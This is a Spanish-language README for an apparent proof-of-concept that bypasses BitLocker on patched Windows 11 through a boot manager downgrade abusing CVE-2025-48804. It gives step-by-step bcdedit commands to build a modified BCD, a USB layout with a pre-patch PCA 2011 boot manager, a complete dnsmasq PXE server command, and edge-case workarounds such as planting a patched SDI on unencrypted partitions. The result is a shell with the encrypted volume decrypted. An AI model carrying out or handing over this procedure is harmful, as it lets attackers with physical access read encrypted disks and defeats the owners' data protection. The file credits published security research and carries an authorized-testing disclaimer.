
Ataque de downgrade para CVE-2025-48804
Una prueba de concepto para acceder a discos cifrados con BitLocker en menos de 5 minutos en máquinas Windows 11 totalmente parcheadas mediante un ataque de degradación del administrador de arranque, aprovechando la vulnerabilidad SDI documentada originalmente como CVE-2025-48804. El parche de julio de 2025 corrige esto en bootmgfw.efi, por lo que cualquier bootmgfw.efi anterior al parche firmado bajo PCA 2011 puede utilizarse para un ataque de degradación, siempre que el sistema objetivo confíe en esta PCA.
Esta PoC proporciona dos métodos de entrega: arranque USB (más simple y recomendado) y arranque PXE. Pero, en teoría, también podrías copiar un archivo de arranque SDI en una de las particiones sin cifrar predeterminadas (ESP y Recovery) y no molestarte con USB o PXE; consulta la tabla "Casos límite".
Este trabajo se basa enteramente en la investigación de Microsoft STORM (Netanel Ben Simon y Alon Leviev):
BitUnlocker: Uso de la recuperación de Windows para extraer secretos de BitLocker
dnsmasq y un cable Ethernet para PXEboot_patched.sdi desde Releases (o crea tu propio archivo SDI, ver más abajo)Colócalo en USB/sdi/ (para el método USB) o en TFTP-root/sdi/ (para el método PXE).
En el dispositivo objetivo, abre un símbolo del sistema de WinRE (mantén pulsada la tecla Shift mientras haces clic en Reiniciar, luego Solucionar problemas > Símbolo del sistema — haz clic en "Ignorar este disco" cuando se te pida una clave de recuperación de BitLocker y haz clic en "relanzar" si también se te dice que el símbolo del sistema no puede ejecutarse en un dispositivo bloqueado — y si el símbolo del sistema simplemente no se abre, usa tu propio WinPE si puedes). Conecta una memoria USB y ejecuta:
E: (or wherever your USB is)
bcdedit /export BCD_modded
bcdedit /store BCD_modded /set {default} path \WINDOWS\system32\winload_DOESNOTEXIST.efi
bcdedit /store BCD_modded /enum all
En la salida, busca la entrada de opciones de dispositivo cuya descripción sea "Windows Recovery" y que contenga las entradas ramdisksdidevice / ramdisksdipath. Anota su GUID y luego:
bcdedit /store BCD_modded /set {GUID} ramdisksdidevice boot
bcdedit /store BCD_modded /set {GUID} ramdisksdipath \sdi\boot_patched.sdi
move BCD_modded BCD
Coloca el archivo BCD resultante en la ubicación adecuada según tu método:
USB/EFI/Microsoft/Boot/BCDTFTP-root/Boot/BCDFormatea una memoria USB como FAT32 y copia el contenido del directorio USB/ en su raíz (solo su contenido, no debe haber una carpeta "USB"). La memoria USB debería verse así:
USB stick root/
├── EFI/
│ ├── Boot/
│ │ └── bootx64.efi # Pre-patch boot manager (PCA 2011)
│ └── Microsoft/
│ └── Boot/
│ └── BCD # Your modified BCD
└── sdi/
└── boot_patched.sdi # Patched SDI with custom WinRE
Conecta la memoria USB al dispositivo objetivo y activa un arranque USB UEFI, ya sea desde WinRE (Usar un dispositivo) o pulsando la tecla del menú de arranque del fabricante al encender (F12, F9, etc.). Si la memoria USB no aparece en la lista de opciones de arranque, busca una opción "Iniciar desde archivo" en el menú de arranque UEFI y navega hasta EFI/Boot/bootx64.efi en la memoria USB.
El directorio TFTP-root/ tiene la siguiente estructura:
TFTP-root/
├── bootmgfw.efi # Pre-patch boot manager (PCA 2011)
├── Boot/
│ └── BCD # Your modified BCD
├── EFI/
│ └── Microsoft/
│ └── Boot/
│ └── bootmgfw.efi # Same pre-patch boot manager
└── sdi/
└── boot_patched.sdi # Patched SDI with custom WinRE
Conecta el dispositivo objetivo a tu máquina Linux mediante Ethernet e inicia el servidor PXE:
cd BitUnlocker
export INTERFACE=<your-interface>
export ABS_TFTP_ROOT=$(pwd)/TFTP-root
sudo ifconfig $INTERFACE 10.13.37.1
sudo dnsmasq --no-daemon \
--interface="$INTERFACE" \
--dhcp-range=10.13.37.100,10.13.37.101,255.255.255.0,1h \
--dhcp-boot=bootmgfw.efi \
--enable-tftp \
--tftp-root="$ABS_TFTP_ROOT" \
--log-dhcp \
--tftp-max=65464 \
--port=0
Activa el arranque PXE en el dispositivo objetivo: desde WinRE selecciona Usar un dispositivo > Red IPv4, o pulsa la tecla de arranque PXE del fabricante.
El administrador de arranque cargará el BCD y comenzará a descargar boot_patched.sdi. El archivo SDI es grande (~300 MB), por lo que tarda un momento desde USB, o varios minutos a través de TFTP. Mientras se carga, debería aparecer en la pantalla del dispositivo objetivo un mensaje relacionado con la recuperación con la ruta del SDI.
Una vez completada la transferencia, debería aparecer un símbolo del sistema con el volumen del SO descifrado y montado (normalmente C: o E:). Si no se montó automáticamente o no quieres adivinar la letra, simplemente ejecuta diskpart -> sel vol X (el que parezca tu unidad cifrada) -> assign letter=C (o cualquier otra letra) -> exit -> beneficio
| Situación | Qué ocurre |
|---|---|
| BitLocker configurado con un PIN que conoces | Pantalla azul al arrancar: escribe el PIN a ciegas (perdona, no me he molestado con las fuentes de BitLocker en este repositorio) y pulsa Enter |
| Pantalla azul, sin PIN | Es probable que el objetivo haya migrado a CA 2023: pulsa Escape y deja que la transferencia SDI termine de todos modos, pero lo más probable es que el disco cifrado con BitLocker termine bloqueado |
| Solo USB-C / Thunderbolt | Usa una unidad USB-C o un adaptador USB-Ethernet (para PXE) |
| Archivo TFTP no encontrado (excepto los archivos de fuentes basura que no nos importan) | Los nombres de archivo distinguen entre mayúsculas y minúsculas: renombra bootmgfw.efi para que coincida con lo que solicita el objetivo |
| No se permite el arranque PXE ni USB | Comprueba el espacio disponible de las particiones ESP y Recovery (diskpart -> list vol). Si hay suficiente espacio para el archivo Boot.sdi proporcionado (que ocupa unos 300 MB) en cualquiera de las particiones, colócalo allí. Entonces el exploit será ligeramente diferente (pero igual de rápido), ya que tendrás que modificar directamente el archivo BCD del sistema objetivo (haz una copia de seguridad) para que apunte a la partición host sin cifrar (en particular, la entrada ramdisksdidevice del BCD), y reemplazar el bootmgfw.efi del objetivo por el proporcionado en la carpeta TFTP de este repositorio. En este caso, asegúrate de comprobar que el administrador de arranque del objetivo está firmado por PCA 2011 (el exploit no funcionaría de todos modos; compruébalo siempre); de lo contrario, pondrás el sistema en recuperación de BitLocker. Además, si no hay suficiente espacio para el archivo Boot.sdi que proporcioné en este repositorio, puedes intentar crear tu propia versión más pequeña; sin duda hay formas de hacerlo (consulta la sección "Crea tu propio archivo SDI" más abajo) |
He incluido dos scripts en scripts/:
patch_sdi.py — crea un archivo SDI modificado a partir de un boot.sdi y un archivo WinRE.wimparse_sdi.py — analiza un archivo SDI para validar su estructura y contenidoEl archivo boot_patched.sdi proporcionado en Releases contiene un WinRE.wim modificado en el que la aplicación de lanzamiento es cmd.exe.
bootmgfw.efi firmado por CA 2023 de forma predeterminada. Para comprobarlo, monta la partición EFI e inspecciona el binario activo: mountvol S: /s y luego sigcheck -i S:\EFI\Microsoft\Boot\bootmgfw.efi. Ten en cuenta que C:\Windows\Boot\EFI\bootmgfw.efi puede diferir del archivo realmente utilizado al arrancar: comprueba siempre la copia de la partición EFI.Microsoft STORM (Netanel Ben Simon y Alon Leviev) por la investigación original de BitUnlocker y la divulgación de la vulnerabilidad.
Este proyecto está bajo la Licencia MIT. Consulta el archivo LICENSE para más detalles.
Este repositorio y todo su contenido se proporcionan estrictamente para pruebas de seguridad autorizadas y fines de investigación. Utiliza esta herramienta únicamente en sistemas que poseas o para los que tengas permiso explícito por escrito para realizar pruebas. El acceso no autorizado a sistemas informáticos es ilegal. El autor no asume ninguna responsabilidad por el mal uso o los daños derivados del uso de este material.